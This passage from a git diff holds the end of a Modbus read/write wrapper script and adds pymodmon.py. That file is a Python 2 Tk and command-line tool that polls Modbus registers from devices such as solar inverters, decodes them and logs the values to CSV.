read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and 